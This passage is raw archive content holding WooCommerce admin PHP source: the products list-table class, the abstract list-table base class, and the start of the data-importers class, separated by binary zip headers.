			$query_vars['meta_value'] = wc_clean( wp_unslash( $_GET['coupon_type'] ) ); // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_value, WordPress.VIP.SuperGlobalInputUsage.AccessDetected
		}
		return $query_vars;
	}
}
PK�3\б�Ɋ\�\2list-tables/class-wc-admin-list-table-products.phpnu�[���<?php
/**
 * List tables: products.
 *
 * @package  WooCommerce\Admin
 * @version  3.3.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

if ( class_exists( 'WC_Admin_List_Table_Products', false ) ) {
	return;
}

if ( ! class_exists( 'WC_Admin_List_Table', false ) ) {
	include_once __DIR__ . '/abstract-class-wc-admin-list-table.php';
}

/**
 * WC_Admin_List_Table_Products Class.
 */
class WC_Admin_List_Table_Products extends WC_Admin_List_Table {

	/**
	 * Post type.
	 *
	 * @var string
	 */
	protected $list_table_type = 'product';

	/**
	 * Constructor.
	 */
	public function __construct() {
		parent::__construct();
		add_filter( 'disable_months_dropdown', '__return_true' );
		add_filter( 'query_vars', array( $this, 'add_custom_query_var' ) );
		add_filter( 'views_edit-product', array( $this, 'product_views' ) );
		add_filter( 'get_search_query', array( $this, 'search_label' ) );
		add_filter( 'posts_clauses', array( $this, 'posts_clauses' ), 10, 2 );
	}

	/**
	 * Render blank state.
	 */
	protected function render_blank_state() {
		echo '<div class="woocommerce-BlankState">';

		echo '<h2 class="woocommerce-BlankState-message">' . esc_html__( 'Ready to start selling something awesome?', 'woocommerce' ) . '</h2>';

		echo '<div class="woocommerce-BlankState-buttons">';

		echo '<a class="woocommerce-BlankState-cta button-primary button" href="' . esc_url( admin_url( 'post-new.php?post_type=product&tutorial=true' ) ) . '">' . esc_html__( 'Create Product', 'woocommerce' ) . '</a>';
		echo '<a class="woocommerce-BlankState-cta button" href="' . esc_url( admin_url( 'edit.php?post_type=product&page=product_importer' ) ) . '">' . esc_html__( 'Start Import', 'woocommerce' ) . '</a>';

		echo '</div>';

		do_action( 'wc_marketplace_suggestions_products_empty_state' );

		echo '</div>';
	}

	/**
	 * Define primary column.
	 *
	 * @return string
	 */
	protected function get_primary_column() {
		return 'name';
	}

	/**
	 * Get row actions to show in the list table.
	 *
	 * @param array   $actions Array of actions.
	 * @param WP_Post $post Current post object.
	 * @return array
	 */
	protected function get_row_actions( $actions, $post ) {
		/* translators: %d: product ID. */
		return array_merge( array( 'id' => sprintf( __( 'ID: %d', 'woocommerce' ), $post->ID ) ), $actions );
	}

	/**
	 * Define which columns are sortable.
	 *
	 * @param array $columns Existing columns.
	 * @return array
	 */
	public function define_sortable_columns( $columns ) {
		$custom = array(
			'price' => 'price',
			'sku'   => 'sku',
			'name'  => 'title',
		);
		return wp_parse_args( $custom, $columns );
	}

	/**
	 * Define which columns to show on this screen.
	 *
	 * @param array $columns Existing columns.
	 * @return array
	 */
	public function define_columns( $columns ) {
		if ( empty( $columns ) && ! is_array( $columns ) ) {
			$columns = array();
		}

		unset( $columns['title'], $columns['comments'], $columns['date'] );

		$show_columns          = array();
		$show_columns['cb']    = '<input type="checkbox" />';
		$show_columns['thumb'] = '<span class="wc-image tips" data-tip="' . esc_attr__( 'Image', 'woocommerce' ) . '">' . __( 'Image', 'woocommerce' ) . '</span>';
		$show_columns['name']  = __( 'Name', 'woocommerce' );

		if ( wc_product_sku_enabled() ) {
			$show_columns['sku'] = __( 'SKU', 'woocommerce' );
		}

		if ( 'yes' === get_option( 'woocommerce_manage_stock' ) ) {
			$show_columns['is_in_stock'] = __( 'Stock', 'woocommerce' );
		}

		$show_columns['price']       = __( 'Price', 'woocommerce' );
		$show_columns['product_cat'] = __( 'Categories', 'woocommerce' );
		$show_columns['product_tag'] = __( 'Tags', 'woocommerce' );
		$show_columns['featured']    = '<span class="wc-featured parent-tips" data-tip="' . esc_attr__( 'Featured', 'woocommerce' ) . '">' . __( 'Featured', 'woocommerce' ) . '</span>';
		$show_columns['date']        = __( 'Date', 'woocommerce' );

		return array_merge( $show_columns, $columns );
	}

	/**
	 * Pre-fetch any data for the row each column has access to it. the_product global is there for bw compat.
	 *
	 * @param int $post_id Post ID being shown.
	 */
	protected function prepare_row_data( $post_id ) {
		global $the_product;

		if ( empty( $this->object ) || $this->object->get_id() !== $post_id ) {
			$the_product  = wc_get_product( $post_id );
			$this->object = $the_product;
		}
	}

	/**
	 * Render column: thumb.
	 */
	protected function render_thumb_column() {
		echo '<a href="' . esc_url( get_edit_post_link( $this->object->get_id() ) ) . '">' . $this->object->get_image( 'thumbnail' ) . '</a>'; // WPCS: XSS ok.
	}

	/**
	 * Render column: name.
	 */
	protected function render_name_column() {
		global $post;

		$edit_link = get_edit_post_link( $this->object->get_id() );
		$title     = _draft_or_post_title();

		echo '<strong><a class="row-title" href="' . esc_url( $edit_link ) . '">' . esc_html( $title ) . '</a>';

		_post_states( $post );

		echo '</strong>';

		if ( $this->object->get_parent_id() > 0 ) {
			echo '&nbsp;&nbsp;&larr; <a href="' . esc_url( get_edit_post_link( $this->object->get_parent_id() ) ) . '">' . get_the_title( $this->object->get_parent_id() ) . '</a>'; // @codingStandardsIgnoreLine.
		}

		get_inline_data( $post );

		/* Custom inline data for woocommerce. */
		echo '
			<div class="hidden" id="woocommerce_inline_' . absint( $this->object->get_id() ) . '">
				<div class="menu_order">' . esc_html( $this->object->get_menu_order() ) . '</div>
				<div class="sku">' . esc_html( $this->object->get_sku() ) . '</div>
				<div class="regular_price">' . esc_html( $this->object->get_regular_price() ) . '</div>
				<div class="sale_price">' . esc_html( $this->object->get_sale_price() ) . '</div>
				<div class="weight">' . esc_html( $this->object->get_weight() ) . '</div>
				<div class="length">' . esc_html( $this->object->get_length() ) . '</div>
				<div class="width">' . esc_html( $this->object->get_width() ) . '</div>
				<div class="height">' . esc_html( $this->object->get_height() ) . '</div>
				<div class="shipping_class">' . esc_html( $this->object->get_shipping_class() ) . '</div>
				<div class="visibility">' . esc_html( $this->object->get_catalog_visibility() ) . '</div>
				<div class="stock_status">' . esc_html( $this->object->get_stock_status() ) . '</div>
				<div class="stock">' . esc_html( $this->object->get_stock_quantity() ) . '</div>
				<div class="manage_stock">' . esc_html( wc_bool_to_string( $this->object->get_manage_stock() ) ) . '</div>
				<div class="featured">' . esc_html( wc_bool_to_string( $this->object->get_featured() ) ) . '</div>
				<div class="product_type">' . esc_html( $this->object->get_type() ) . '</div>
				<div class="product_is_virtual">' . esc_html( wc_bool_to_string( $this->object->get_virtual() ) ) . '</div>
				<div class="tax_status">' . esc_html( $this->object->get_tax_status() ) . '</div>
				<div class="tax_class">' . esc_html( $this->object->get_tax_class() ) . '</div>
				<div class="backorders">' . esc_html( $this->object->get_backorders() ) . '</div>
				<div class="low_stock_amount">' . esc_html( $this->object->get_low_stock_amount() ) . '</div>
			</div>
		';
	}

	/**
	 * Render column: sku.
	 */
	protected function render_sku_column() {
		echo $this->object->get_sku() ? esc_html( $this->object->get_sku() ) : '<span class="na">&ndash;</span>';
	}

	/**
	 * Render column: price.
	 */
	protected function render_price_column() {
		echo $this->object->get_price_html() ? wp_kses_post( $this->object->get_price_html() ) : '<span class="na">&ndash;</span>';
	}

	/**
	 * Render column: product_cat.
	 */
	protected function render_product_cat_column() {
		$terms = get_the_terms( $this->object->get_id(), 'product_cat' );
		if ( ! $terms ) {
			echo '<span class="na">&ndash;</span>';
		} else {
			$termlist = array();
			foreach ( $terms as $term ) {
				$termlist[] = '<a href="' . esc_url( admin_url( 'edit.php?product_cat=' . $term->slug . '&post_type=product' ) ) . ' ">' . esc_html( $term->name ) . '</a>';
			}

			echo apply_filters( 'woocommerce_admin_product_term_list', implode( ', ', $termlist ), 'product_cat', $this->object->get_id(), $termlist, $terms ); // WPCS: XSS ok.
		}
	}

	/**
	 * Render column: product_tag.
	 */
	protected function render_product_tag_column() {
		$terms = get_the_terms( $this->object->get_id(), 'product_tag' );
		if ( ! $terms ) {
			echo '<span class="na">&ndash;</span>';
		} else {
			$termlist = array();
			foreach ( $terms as $term ) {
				$termlist[] = '<a href="' . esc_url( admin_url( 'edit.php?product_tag=' . $term->slug . '&post_type=product' ) ) . ' ">' . esc_html( $term->name ) . '</a>';
			}

			echo apply_filters( 'woocommerce_admin_product_term_list', implode( ', ', $termlist ), 'product_tag', $this->object->get_id(), $termlist, $terms ); // WPCS: XSS ok.
		}
	}

	/**
	 * Render column: featured.
	 */
	protected function render_featured_column() {
		$url = wp_nonce_url( admin_url( 'admin-ajax.php?action=woocommerce_feature_product&product_id=' . $this->object->get_id() ), 'woocommerce-feature-product' );
		echo '<a href="' . esc_url( $url ) . '" aria-label="' . esc_attr__( 'Toggle featured', 'woocommerce' ) . '">';
		if ( $this->object->is_featured() ) {
			echo '<span class="wc-featured tips" data-tip="' . esc_attr__( 'Yes', 'woocommerce' ) . '">' . esc_html__( 'Yes', 'woocommerce' ) . '</span>';
		} else {
			echo '<span class="wc-featured not-featured tips" data-tip="' . esc_attr__( 'No', 'woocommerce' ) . '">' . esc_html__( 'No', 'woocommerce' ) . '</span>';
		}
		echo '</a>';
	}

	/**
	 * Render column: is_in_stock.
	 */
	protected function render_is_in_stock_column() {
		if ( $this->object->is_on_backorder() ) {
			$stock_html = '<mark class="onbackorder">' . __( 'On backorder', 'woocommerce' ) . '</mark>';
		} elseif ( $this->object->is_in_stock() ) {
			$stock_html = '<mark class="instock">' . __( 'In stock', 'woocommerce' ) . '</mark>';
		} else {
			$stock_html = '<mark class="outofstock">' . __( 'Out of stock', 'woocommerce' ) . '</mark>';
		}

		if ( $this->object->managing_stock() ) {
			$stock_html .= ' (' . wc_stock_amount( $this->object->get_stock_quantity() ) . ')';
		}

		echo wp_kses_post( apply_filters( 'woocommerce_admin_stock_html', $stock_html, $this->object ) );
	}

	/**
	 * Query vars for custom searches.
	 *
	 * @param mixed $public_query_vars Array of query vars.
	 * @return array
	 */
	public function add_custom_query_var( $public_query_vars ) {
		$public_query_vars[] = 'sku';
		return $public_query_vars;
	}

	/**
	 * Render any custom filters and search inputs for the list table.
	 */
	protected function render_filters() {
		$filters = apply_filters(
			'woocommerce_products_admin_list_table_filters',
			array(
				'product_category' => array( $this, 'render_products_category_filter' ),
				'product_type'     => array( $this, 'render_products_type_filter' ),
				'stock_status'     => array( $this, 'render_products_stock_status_filter' ),
			)
		);

		ob_start();
		foreach ( $filters as $filter_callback ) {
			call_user_func( $filter_callback );
		}
		$output = ob_get_clean();

		echo apply_filters( 'woocommerce_product_filters', $output ); // WPCS: XSS ok.
	}

	/**
	 * Render the product category filter for the list table.
	 *
	 * @since 3.5.0
	 */
	protected function render_products_category_filter() {
		$categories_count = (int) wp_count_terms( 'product_cat' );

		if ( $categories_count <= apply_filters( 'woocommerce_product_category_filter_threshold', 100 ) ) {
			wc_product_dropdown_categories(
				array(
					'option_select_text' => __( 'Filter by category', 'woocommerce' ),
					'hide_empty'         => 0,
				)
			);
		} else {
			$current_category_slug = isset( $_GET['product_cat'] ) ? wc_clean( wp_unslash( $_GET['product_cat'] ) ) : false; // WPCS: input var ok, CSRF ok.
			$current_category      = $current_category_slug ? get_term_by( 'slug', $current_category_slug, 'product_cat' ) : false;
			?>
			<select class="wc-category-search" name="product_cat" data-placeholder="<?php esc_attr_e( 'Filter by category', 'woocommerce' ); ?>" data-allow_clear="true">
				<?php if ( $current_category_slug && $current_category ) : ?>
					<option value="<?php echo esc_attr( $current_category_slug ); ?>" selected="selected"><?php echo esc_html( htmlspecialchars( wp_kses_post( $current_category->name ) ) ); ?></option>
				<?php endif; ?>
			</select>
			<?php
		}
	}

	/**
	 * Render the product type filter for the list table.
	 *
	 * @since 3.5.0
	 */
	protected function render_products_type_filter() {
		$current_product_type = isset( $_REQUEST['product_type'] ) ? wc_clean( wp_unslash( $_REQUEST['product_type'] ) ) : false; // WPCS: input var ok, sanitization ok.
		$output               = '<select name="product_type" id="dropdown_product_type"><option value="">' . esc_html__( 'Filter by product type', 'woocommerce' ) . '</option>';

		foreach ( wc_get_product_types() as $value => $label ) {
			$output .= '<option value="' . esc_attr( $value ) . '" ';
			$output .= selected( $value, $current_product_type, false );
			$output .= '>' . esc_html( $label ) . '</option>';

			if ( 'simple' === $value ) {

				$output .= '<option value="downloadable" ';
				$output .= selected( 'downloadable', $current_product_type, false );
				$output .= '> ' . ( is_rtl() ? '&larr;' : '&rarr;' ) . ' ' . esc_html__( 'Downloadable', 'woocommerce' ) . '</option>';

				$output .= '<option value="virtual" ';
				$output .= selected( 'virtual', $current_product_type, false );
				$output .= '> ' . ( is_rtl() ? '&larr;' : '&rarr;' ) . ' ' . esc_html__( 'Virtual', 'woocommerce' ) . '</option>';
			}
		}

		$output .= '</select>';
		echo $output; // WPCS: XSS ok.
	}

	/**
	 * Render the stock status filter for the list table.
	 *
	 * @since 3.5.0
	 */
	public function render_products_stock_status_filter() {
		$current_stock_status = isset( $_REQUEST['stock_status'] ) ? wc_clean( wp_unslash( $_REQUEST['stock_status'] ) ) : false; // WPCS: input var ok, sanitization ok.
		$stock_statuses       = wc_get_product_stock_status_options();
		$output               = '<select name="stock_status"><option value="">' . esc_html__( 'Filter by stock status', 'woocommerce' ) . '</option>';

		foreach ( $stock_statuses as $status => $label ) {
			$output .= '<option ' . selected( $status, $current_stock_status, false ) . ' value="' . esc_attr( $status ) . '">' . esc_html( $label ) . '</option>';
		}

		$output .= '</select>';
		echo $output; // WPCS: XSS ok.
	}

	/**
	 * Search by SKU or ID for products.
	 *
	 * @deprecated 4.4.0 Logic moved to query_filters.
	 * @param string $where Where clause SQL.
	 * @return string
	 */
	public function sku_search( $where ) {
		wc_deprecated_function( 'WC_Admin_List_Table_Products::sku_search', '4.4.0', 'Logic moved to query_filters.' );
		return $where;
	}

	/**
	 * Change views on the edit product screen.
	 *
	 * @param  array $views Array of views.
	 * @return array
	 */
	public function product_views( $views ) {
		global $wp_query;

		// Products do not have authors.
		unset( $views['mine'] );

		// Add sorting link.
		if ( current_user_can( 'edit_others_products' ) ) {
			$class            = ( isset( $wp_query->query['orderby'] ) && 'menu_order title' === $wp_query->query['orderby'] ) ? 'current' : '';
			$query_string     = remove_query_arg( array( 'orderby', 'order' ) );
			$query_string     = add_query_arg( 'orderby', rawurlencode( 'menu_order title' ), $query_string );
			$query_string     = add_query_arg( 'order', rawurlencode( 'ASC' ), $query_string );
			$views['byorder'] = '<a href="' . esc_url( $query_string ) . '" class="' . esc_attr( $class ) . '">' . __( 'Sorting', 'woocommerce' ) . '</a>';
		}

		return $views;
	}

	/**
	 * Change the label when searching products
	 *
	 * @param string $query Search Query.
	 * @return string
	 */
	public function search_label( $query ) {
		global $pagenow, $typenow;

		if ( 'edit.php' !== $pagenow || 'product' !== $typenow || ! get_query_var( 'product_search' ) || ! isset( $_GET['s'] ) ) { // WPCS: input var ok.
			return $query;
		}

		return wc_clean( wp_unslash( $_GET['s'] ) ); // WPCS: input var ok, sanitization ok.
	}

	/**
	 * Handle any custom filters.
	 *
	 * @param array $query_vars Query vars.
	 * @return array
	 */
	protected function query_filters( $query_vars ) {
		$this->remove_ordering_args();
		// Custom order by arguments.
		if ( isset( $query_vars['orderby'] ) ) {
			$orderby = strtolower( $query_vars['orderby'] );
			$order   = isset( $query_vars['order'] ) ? strtoupper( $query_vars['order'] ) : 'DESC';

			if ( 'price' === $orderby ) {
				$callback = 'DESC' === $order ? 'order_by_price_desc_post_clauses' : 'order_by_price_asc_post_clauses';
				add_filter( 'posts_clauses', array( $this, $callback ) );
			}

			if ( 'sku' === $orderby ) {
				$callback = 'DESC' === $order ? 'order_by_sku_desc_post_clauses' : 'order_by_sku_asc_post_clauses';
				add_filter( 'posts_clauses', array( $this, $callback ) );
			}
		}

		// Type filtering.
		if ( isset( $query_vars['product_type'] ) ) {
			if ( 'downloadable' === $query_vars['product_type'] ) {
				$query_vars['product_type'] = '';
				add_filter( 'posts_clauses', array( $this, 'filter_downloadable_post_clauses' ) );
			} elseif ( 'virtual' === $query_vars['product_type'] ) {
				$query_vars['product_type'] = '';
				add_filter( 'posts_clauses', array( $this, 'filter_virtual_post_clauses' ) );
			}
		}

		// Stock status filter.
		if ( ! empty( $_GET['stock_status'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
			add_filter( 'posts_clauses', array( $this, 'filter_stock_status_post_clauses' ) );
		}

		// Shipping class taxonomy.
		if ( ! empty( $_GET['product_shipping_class'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
			$query_vars['tax_query'][] = array(
				'taxonomy' => 'product_shipping_class',
				'field'    => 'slug',
				'terms'    => sanitize_title( wp_unslash( $_GET['product_shipping_class'] ) ),
				'operator' => 'IN',
			);
		}

		// Search using CRUD.
		if ( ! empty( $query_vars['s'] ) ) {
			$data_store                   = WC_Data_Store::load( 'product' );
			$ids                          = $data_store->search_products( wc_clean( wp_unslash( $query_vars['s'] ) ), '', true, true );
			$query_vars['post__in']       = array_merge( $ids, array( 0 ) );
			$query_vars['product_search'] = true;
			unset( $query_vars['s'] );
		}

		return $query_vars;
	}

	/**
	 * Undocumented function
	 *
	 * @param array    $args  Array of SELECT statement pieces (from, where, etc).
	 * @param WP_Query $query WP_Query instance.
	 * @return array
	 */
	public function posts_clauses( $args, $query ) {

		return $args;
	}

	/**
	 * Remove ordering queries.
	 *
	 * @param array $posts Posts array, keeping this for backwards compatibility defaulting to empty array.
	 * @return array
	 */
	public function remove_ordering_args( $posts = array() ) {
		remove_filter( 'posts_clauses', array( $this, 'order_by_price_asc_post_clauses' ) );
		remove_filter( 'posts_clauses', array( $this, 'order_by_price_desc_post_clauses' ) );
		remove_filter( 'posts_clauses', array( $this, 'order_by_sku_asc_post_clauses' ) );
		remove_filter( 'posts_clauses', array( $this, 'order_by_sku_desc_post_clauses' ) );
		remove_filter( 'posts_clauses', array( $this, 'filter_downloadable_post_clauses' ) );
		remove_filter( 'posts_clauses', array( $this, 'filter_virtual_post_clauses' ) );
		remove_filter( 'posts_clauses', array( $this, 'filter_stock_status_post_clauses' ) );
		return $posts; // Keeping this here for backward compatibility.
	}

	/**
	 * Handle numeric price sorting.
	 *
	 * @param array $args Query args.
	 * @return array
	 */
	public function order_by_price_asc_post_clauses( $args ) {
		$args['join']    = $this->append_product_sorting_table_join( $args['join'] );
		$args['orderby'] = ' wc_product_meta_lookup.min_price ASC, wc_product_meta_lookup.product_id ASC ';
		return $args;
	}

	/**
	 * Handle numeric price sorting.
	 *
	 * @param array $args Query args.
	 * @return array
	 */
	public function order_by_price_desc_post_clauses( $args ) {
		$args['join']    = $this->append_product_sorting_table_join( $args['join'] );
		$args['orderby'] = ' wc_product_meta_lookup.max_price DESC, wc_product_meta_lookup.product_id DESC ';
		return $args;
	}

	/**
	 * Handle sku sorting.
	 *
	 * @param array $args Query args.
	 * @return array
	 */
	public function order_by_sku_asc_post_clauses( $args ) {
		$args['join']    = $this->append_product_sorting_table_join( $args['join'] );
		$args['orderby'] = ' wc_product_meta_lookup.sku ASC, wc_product_meta_lookup.product_id ASC ';
		return $args;
	}

	/**
	 * Handle sku sorting.
	 *
	 * @param array $args Query args.
	 * @return array
	 */
	public function order_by_sku_desc_post_clauses( $args ) {
		$args['join']    = $this->append_product_sorting_table_join( $args['join'] );
		$args['orderby'] = ' wc_product_meta_lookup.sku DESC, wc_product_meta_lookup.product_id DESC ';
		return $args;
	}

	/**
	 * Filter by type.
	 *
	 * @param array $args Query args.
	 * @return array
	 */
	public function filter_downloadable_post_clauses( $args ) {
		$args['join']   = $this->append_product_sorting_table_join( $args['join'] );
		$args['where'] .= ' AND wc_product_meta_lookup.downloadable=1 ';
		return $args;
	}

	/**
	 * Filter by type.
	 *
	 * @param array $args Query args.
	 * @return array
	 */
	public function filter_virtual_post_clauses( $args ) {
		$args['join']   = $this->append_product_sorting_table_join( $args['join'] );
		$args['where'] .= ' AND wc_product_meta_lookup.virtual=1 ';
		return $args;
	}

	/**
	 * Filter by stock status.
	 *
	 * @param array $args Query args.
	 * @return array
	 */
	public function filter_stock_status_post_clauses( $args ) {
		global $wpdb;
		if ( ! empty( $_GET['stock_status'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
			$args['join']   = $this->append_product_sorting_table_join( $args['join'] );
			$args['where'] .= $wpdb->prepare( ' AND wc_product_meta_lookup.stock_status=%s ', wc_clean( wp_unslash( $_GET['stock_status'] ) ) ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended
		}
		return $args;
	}

	/**
	 * Join wc_product_meta_lookup to posts if not already joined.
	 *
	 * @param string $sql SQL join.
	 * @return string
	 */
	private function append_product_sorting_table_join( $sql ) {
		global $wpdb;

		if ( ! strstr( $sql, 'wc_product_meta_lookup' ) ) {
			$sql .= " LEFT JOIN {$wpdb->wc_product_meta_lookup} wc_product_meta_lookup ON $wpdb->posts.ID = wc_product_meta_lookup.product_id ";
		}
		return $sql;
	}

	/**
	 * Modifies post query so that it includes parent products whose variations have particular shipping class assigned.
	 *
	 * @param array    $pieces   Array of SELECT statement pieces (from, where, etc).
	 * @param WP_Query $wp_query WP_Query instance.
	 * @return array             Array of products, including parents of variations.
	 */
	public function add_variation_parents_for_shipping_class( $pieces, $wp_query ) {
		global $wpdb;
		if ( isset( $_GET['product_shipping_class'] ) && '0' !== $_GET['product_shipping_class'] ) { // WPCS: input var ok.
			$replaced_where   = str_replace( ".post_type = 'product'", ".post_type = 'product_variation'", $pieces['where'] );
			$pieces['where'] .= " OR {$wpdb->posts}.ID in (
				SELECT {$wpdb->posts}.post_parent FROM
				{$wpdb->posts} LEFT JOIN {$wpdb->term_relationships} ON ({$wpdb->posts}.ID = {$wpdb->term_relationships}.object_id)
				WHERE 1=1 $replaced_where
			)";
			return $pieces;
		}
		return $pieces;
	}

}
PK�3\*C��2list-tables/abstract-class-wc-admin-list-table.phpnu�[���<?php
/**
 * List tables.
 *
 * @package  WooCommerce\Admin
 * @version  3.3.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

if ( class_exists( 'WC_Admin_List_Table', false ) ) {
	return;
}

/**
 * WC_Admin_List_Table Class.
 */
abstract class WC_Admin_List_Table {

	/**
	 * Post type.
	 *
	 * @var string
	 */
	protected $list_table_type = '';

	/**
	 * Object being shown on the row.
	 *
	 * @var object|null
	 */
	protected $object = null;

	/**
	 * Constructor.
	 */
	public function __construct() {
		if ( $this->list_table_type ) {
			add_action( 'manage_posts_extra_tablenav', array( $this, 'maybe_render_blank_state' ) );
			add_filter( 'view_mode_post_types', array( $this, 'disable_view_mode' ) );
			add_action( 'restrict_manage_posts', array( $this, 'restrict_manage_posts' ) );
			add_filter( 'request', array( $this, 'request_query' ) );
			add_filter( 'post_row_actions', array( $this, 'row_actions' ), 100, 2 );
			add_filter( 'default_hidden_columns', array( $this, 'default_hidden_columns' ), 10, 2 );
			add_filter( 'list_table_primary_column', array( $this, 'list_table_primary_column' ), 10, 2 );
			add_filter( 'manage_edit-' . $this->list_table_type . '_sortable_columns', array( $this, 'define_sortable_columns' ) );
			add_filter( 'manage_' . $this->list_table_type . '_posts_columns', array( $this, 'define_columns' ) );
			add_filter( 'bulk_actions-edit-' . $this->list_table_type, array( $this, 'define_bulk_actions' ) );
			add_action( 'manage_' . $this->list_table_type . '_posts_custom_column', array( $this, 'render_columns' ), 10, 2 );
			add_filter( 'handle_bulk_actions-edit-' . $this->list_table_type, array( $this, 'handle_bulk_actions' ), 10, 3 );
		}
	}

	/**
	 * Show blank slate.
	 *
	 * @param string $which String which tablenav is being shown.
	 */
	public function maybe_render_blank_state( $which ) {
		global $post_type;

		if ( $post_type === $this->list_table_type && 'bottom' === $which ) {
			$counts = (array) wp_count_posts( $post_type );
			unset( $counts['auto-draft'] );
			$count = array_sum( $counts );

			if ( 0 < $count ) {
				return;
			}

			$this->render_blank_state();

			echo '<style type="text/css">#posts-filter .wp-list-table, #posts-filter .tablenav.top, .tablenav.bottom .actions, .wrap .subsubsub  { display: none; } #posts-filter .tablenav.bottom { height: auto; } </style>';
		}
	}

	/**
	 * Render blank state. Extend to add content.
	 */
	protected function render_blank_state() {}

	/**
	 * Removes this type from list of post types that support "View Mode" switching.
	 * View mode is seen on posts where you can switch between list or excerpt. Our post types don't support
	 * it, so we want to hide the useless UI from the screen options tab.
	 *
	 * @param  array $post_types Array of post types supporting view mode.
	 * @return array             Array of post types supporting view mode, without this type.
	 */
	public function disable_view_mode( $post_types ) {
		unset( $post_types[ $this->list_table_type ] );
		return $post_types;
	}

	/**
	 * See if we should render search filters or not.
	 */
	public function restrict_manage_posts() {
		global $typenow;

		if ( $this->list_table_type === $typenow ) {
			$this->render_filters();
		}
	}

	/**
	 * Handle any filters.
	 *
	 * @param array $query_vars Query vars.
	 * @return array
	 */
	public function request_query( $query_vars ) {
		global $typenow;

		if ( $this->list_table_type === $typenow ) {
			return $this->query_filters( $query_vars );
		}

		return $query_vars;
	}

	/**
	 * Render any custom filters and search inputs for the list table.
	 */
	protected function render_filters() {}

	/**
	 * Handle any custom filters.
	 *
	 * @param array $query_vars Query vars.
	 * @return array
	 */
	protected function query_filters( $query_vars ) {
		return $query_vars;
	}

	/**
	 * Set row actions.
	 *
	 * @param array   $actions Array of actions.
	 * @param WP_Post $post Current post object.
	 * @return array
	 */
	public function row_actions( $actions, $post ) {
		if ( $this->list_table_type === $post->post_type ) {
			return $this->get_row_actions( $actions, $post );
		}
		return $actions;
	}

	/**
	 * Get row actions to show in the list table.
	 *
	 * @param array   $actions Array of actions.
	 * @param WP_Post $post Current post object.
	 * @return array
	 */
	protected function get_row_actions( $actions, $post ) {
		return $actions;
	}

	/**
	 * Adjust which columns are displayed by default.
	 *
	 * @param array  $hidden Current hidden columns.
	 * @param object $screen Current screen.
	 * @return array
	 */
	public function default_hidden_columns( $hidden, $screen ) {
		if ( isset( $screen->id ) && 'edit-' . $this->list_table_type === $screen->id ) {
			$hidden = array_merge( $hidden, $this->define_hidden_columns() );
		}
		return $hidden;
	}

	/**
	 * Set list table primary column.
	 *
	 * @param  string $default Default value.
	 * @param  string $screen_id Current screen ID.
	 * @return string
	 */
	public function list_table_primary_column( $default, $screen_id ) {
		if ( 'edit-' . $this->list_table_type === $screen_id && $this->get_primary_column() ) {
			return $this->get_primary_column();
		}
		return $default;
	}

	/**
	 * Define primary column.
	 *
	 * @return array
	 */
	protected function get_primary_column() {
		return '';
	}

	/**
	 * Define hidden columns.
	 *
	 * @return array
	 */
	protected function define_hidden_columns() {
		return array();
	}

	/**
	 * Define which columns are sortable.
	 *
	 * @param array $columns Existing columns.
	 * @return array
	 */
	public function define_sortable_columns( $columns ) {
		return $columns;
	}

	/**
	 * Define which columns to show on this screen.
	 *
	 * @param array $columns Existing columns.
	 * @return array
	 */
	public function define_columns( $columns ) {
		return $columns;
	}

	/**
	 * Define bulk actions.
	 *
	 * @param array $actions Existing actions.
	 * @return array
	 */
	public function define_bulk_actions( $actions ) {
		return $actions;
	}

	/**
	 * Pre-fetch any data for the row each column has access to it.
	 *
	 * @param int $post_id Post ID being shown.
	 */
	protected function prepare_row_data( $post_id ) {}

	/**
	 * Render individual columns.
	 *
	 * @param string $column Column ID to render.
	 * @param int    $post_id Post ID being shown.
	 */
	public function render_columns( $column, $post_id ) {
		$this->prepare_row_data( $post_id );

		if ( ! $this->object ) {
			return;
		}

		if ( is_callable( array( $this, 'render_' . $column . '_column' ) ) ) {
			$this->{"render_{$column}_column"}();
		}
	}

	/**
	 * Handle bulk actions.
	 *
	 * @param  string $redirect_to URL to redirect to.
	 * @param  string $action      Action name.
	 * @param  array  $ids         List of ids.
	 * @return string
	 */
	public function handle_bulk_actions( $redirect_to, $action, $ids ) {
		return esc_url_raw( $redirect_to );
	}
}
PK�3\���\(\(class-wc-admin-importers.phpnu�[���<?php
/**
 * Init WooCommerce data importers.
 *
 * @package WooCommerce\Admin
 */

use Automattic\Jetpack\Constants;

defined( 'ABSPATH' ) || exit;

/**
 * WC_Admin_Importers Class.
 */
class WC_Admin_Importers {

	/**
	 * Array of importer IDs.
	 *
	 * @var string[]
	 */
	protected $importers = array();

	/**
	 * Constructor.
	 */
	public function __construct() {
		if ( ! $this->import_allowed() ) {
			return;
		}

		add_action( 'admin_menu', array( $this, 'add_to_menus' ) );
		add_action( 'admin_init', array( $this, 'register_importers' ) );
		add_action( 'admin_head', array( $this, 'hide_from_menus' ) );
		add_action( 'admin_enqueue_scripts', array( $this, 'admin_scripts' ) );
		add_action( 'wp_ajax_woocommerce_do_ajax_product_import', array( $this, 'do_ajax_product_import' ) );

		// Register WooCommerce importers.
		$this->importers['product_importer'] = array(
			'menu'       => 'edit.php?post_type=product',
			'name'       => __( 'Product Import', 'woocommerce' ),
			'capability' => 'import',
			'callback'   => array( $this, 'product_importer' ),
		);
	}

	/**
	 * Return true if WooCommerce imports are allowed for current user, false otherwise.
	 *
	 * @return bool Whether current user can perform imports.
	 */
	protected function import_allowed() {
		return current_user_can( 'edit_products' ) && current_user_can( 'import' );
	}

	/**
	 * Add menu items for our custom importers.
	 */
	public function add_to_menus() {
		foreach ( $this->importers as $id => $importer ) {
			add_submenu_page( $importer['menu'], $importer['name'], $importer['name'], $importer['capability'], $id, $importer['callback'] );
		}
	}

	/**
	 * Hide menu items from view so the pages exist, but the menu items do not.
	 */
	public function hide_from_menus() {
		global $submenu;

		foreach ( $this->importers as $id => $importer ) {
			if ( isset( $submenu[ $importer['menu'] ] ) ) {
				foreach ( $submenu[ $importer['menu'] ] as $key => $menu ) {
					if ( $id === $menu[2] ) {
						unset( $submenu[ $importer['menu'] ][ $key ] );
					}
				}
			}
		}
	}

	/**
	 * Register importer scripts.
	 */
	public function admin_scripts() {
		$suffix  = Constants::is_true( 'SCRIPT_DEBUG' ) ? '' : '.min';
		$version = Constants::get_constant( 'WC_VERSION' );
